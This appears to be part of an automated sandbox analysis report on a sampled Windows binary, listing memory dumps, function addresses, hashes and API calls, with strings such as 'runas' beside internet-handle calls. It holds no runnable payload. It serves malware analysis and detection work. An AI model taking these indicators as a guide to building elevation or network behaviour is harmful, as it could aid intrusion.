Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction ID: 76ffc2e9ffa65ade1aab55aa343bbcbe3c667f64cf72a4da7776e1f107ad4a10
Opcode Fuzzy Hash: 22c8ee549e0e701cc67c10f8b31497336b99bd38d043062465dd4583a8c5f113
Instruction Fuzzy Hash: B7E08C32921228EBCB14DBDCD944D9AF7ECEB4AA80B110496F601D3190D270DE40C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 012621C1, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe75457464e99ca22bf59aa4dea506f3efd237a204a4fe64de3c4c38cc050a0
Instruction ID: 32d85895e2542ce0ef0f25f5b641467998a0f7b60f72e02ff90bee622c1e55d1
Opcode Fuzzy Hash: 5fe75457464e99ca22bf59aa4dea506f3efd237a204a4fe64de3c4c38cc050a0
Instruction Fuzzy Hash: 2AE0B631410149EFCF22AF68EC4CA5A3B6EFB51251B004424FA1586666CF35E991DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0126CB2C, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0126CB70

Part of subcall function 0126C709: _free.LIBCMT ref: 0126C726
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C738
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C74A
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C75C
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C76E
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C780
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C792
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C7A4
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C7B6
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C7C8
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C7DA
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C7EC
Part of subcall function 0126C709: _free.LIBCMT ref: 0126C7FE

_free.LIBCMT ref: 0126CB65

Part of subcall function 01266601: HeapFree.KERNEL32(00000000,00000000,?,0126477F,?,?,?,01260924,00000000,?,E8012810,0125E3EC,?,01251CB3,?,?), ref: 01266617

_free.LIBCMT ref: 0126CB87
_free.LIBCMT ref: 0126CB9C
_free.LIBCMT ref: 0126CBA7
_free.LIBCMT ref: 0126CBC9
_free.LIBCMT ref: 0126CBDC
_free.LIBCMT ref: 0126CBEA
_free.LIBCMT ref: 0126CBF5
_free.LIBCMT ref: 0126CC2D
_free.LIBCMT ref: 0126CC34
_free.LIBCMT ref: 0126CC51
_free.LIBCMT ref: 0126CC69

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: _free$FreeHeap___free_lconv_mon
String ID:
API String ID: 358854727-0
Opcode ID: 0493c73becc593d5a95fa66b3b98324fa069cdcbbd0234ea51059f21d32acd3b
Instruction ID: 03c96de91a8a7c9d178829211ece0dc028b5358b127cedab7df80190cd105d5b
Opcode Fuzzy Hash: 0493c73becc593d5a95fa66b3b98324fa069cdcbbd0234ea51059f21d32acd3b
Instruction Fuzzy Hash: 8A318F716243429FEB21BA78E944B6AB7EDEF00314F104429E698D71D0EF35E8E0DB64

Uniqueness

Uniqueness Score: -1.00%

Function 01260A40, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 01260A77
___except_validate_context_record.LIBVCRUNTIME ref: 01260A7F
_ValidateLocalCookies.LIBCMT ref: 01260B08
__IsNonwritableInCurrentImage.LIBCMT ref: 01260B33
_ValidateLocalCookies.LIBCMT ref: 01260B88

Strings

csm, xrefs: 01260B1D
csm, xrefs: 01260BB1

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 672e63ebfab8adad9e32d0094a513142ddf787d89c1cb57088617f9e8e2b4847
Instruction ID: 856cf3f4713286209f71651039eb5aed88c333cca182fea080ca3f19ffd1b1de
Opcode Fuzzy Hash: 672e63ebfab8adad9e32d0094a513142ddf787d89c1cb57088617f9e8e2b4847
Instruction Fuzzy Hash: 5551E334A2024A9FCF24DF2CC884A6E7BA9BF44314F1481A9FA055B2D1D771D985DB94

Uniqueness

Uniqueness Score: -1.00%

Function 01252430, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 136networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(00000000), ref: 0125250B
InternetCloseHandle.WININET(00000000), ref: 0125250E
InternetCloseHandle.WININET(00000000), ref: 0125251F
InternetCloseHandle.WININET(00000000), ref: 01252522

Strings

Microsoft Internet Explorer, xrefs: 012524CC
<, xrefs: 012526AC
runas, xrefs: 012526C5

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: CloseHandleInternet
String ID: <$Microsoft Internet Explorer$runas
API String ID: 1081599783-436926838
Opcode ID: a1822001a866dab0919fa80767e9807f8fbf31d0c0407cd260c9b9e741c8454c
Instruction ID: 6c2c37f7750755505d33b8e87058eb17d5082a9936e67412911cbefa1f67dca4
Opcode Fuzzy Hash: a1822001a866dab0919fa80767e9807f8fbf31d0c0407cd260c9b9e741c8454c
Instruction Fuzzy Hash: B1410431E20219EBDB18CF64DC85BAFBBB9EF54300F108159E916A72D0DB34AA44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0126C8A8, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 0126C870: _free.LIBCMT ref: 0126C895

_free.LIBCMT ref: 0126C8F6

Part of subcall function 01266601: HeapFree.KERNEL32(00000000,00000000,?,0126477F,?,?,?,01260924,00000000,?,E8012810,0125E3EC,?,01251CB3,?,?), ref: 01266617

_free.LIBCMT ref: 0126C901
_free.LIBCMT ref: 0126C90C
_free.LIBCMT ref: 0126C960
_free.LIBCMT ref: 0126C96B
_free.LIBCMT ref: 0126C976
_free.LIBCMT ref: 0126C981

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 0fbcb49050ce11dcfb6e5c0c667bb6005878ef6b4cef3880ba9d3cff05b44e3f
Instruction ID: b40a7ff274553334e47b85c273ca8c8858ed24729496e8e0357ddffd6a81b898
Opcode Fuzzy Hash: 0fbcb49050ce11dcfb6e5c0c667bb6005878ef6b4cef3880ba9d3cff05b44e3f
Instruction Fuzzy Hash: E8118471570745BAEA31B7B0CC45FEFB79D5F11710F400834A2D9A60D0EB36F5A486A0

Uniqueness

Uniqueness Score: -1.00%

Function 0126C807, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0126C81F

Part of subcall function 01266601: HeapFree.KERNEL32(00000000,00000000,?,0126477F,?,?,?,01260924,00000000,?,E8012810,0125E3EC,?,01251CB3,?,?), ref: 01266617

_free.LIBCMT ref: 0126C831
_free.LIBCMT ref: 0126C843
_free.LIBCMT ref: 0126C855
_free.LIBCMT ref: 0126C867

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 83ee8d42c8a57a35988639d4aa43d07477862d7f5b5422003849275937680e11
Instruction ID: 2d03b3c8dbf8cb2f921b24f4f33d5651b0376d97230abbf89b386e50201d855e
Opcode Fuzzy Hash: 83ee8d42c8a57a35988639d4aa43d07477862d7f5b5422003849275937680e11
Instruction Fuzzy Hash: 3BF04432535201AB9631FA99F1C8C29B7DDAA04620B640819F248D7584CB35FCD04AD8

Uniqueness

Uniqueness Score: -1.00%

Function 01268457, Relevance: 6.3, APIs: 4, Instructions: 318fileCOMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0126867E
__fassign.LIBCMT ref: 0126869B
WriteFile.KERNEL32(?,01253D80,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 012686E3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 01268723

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
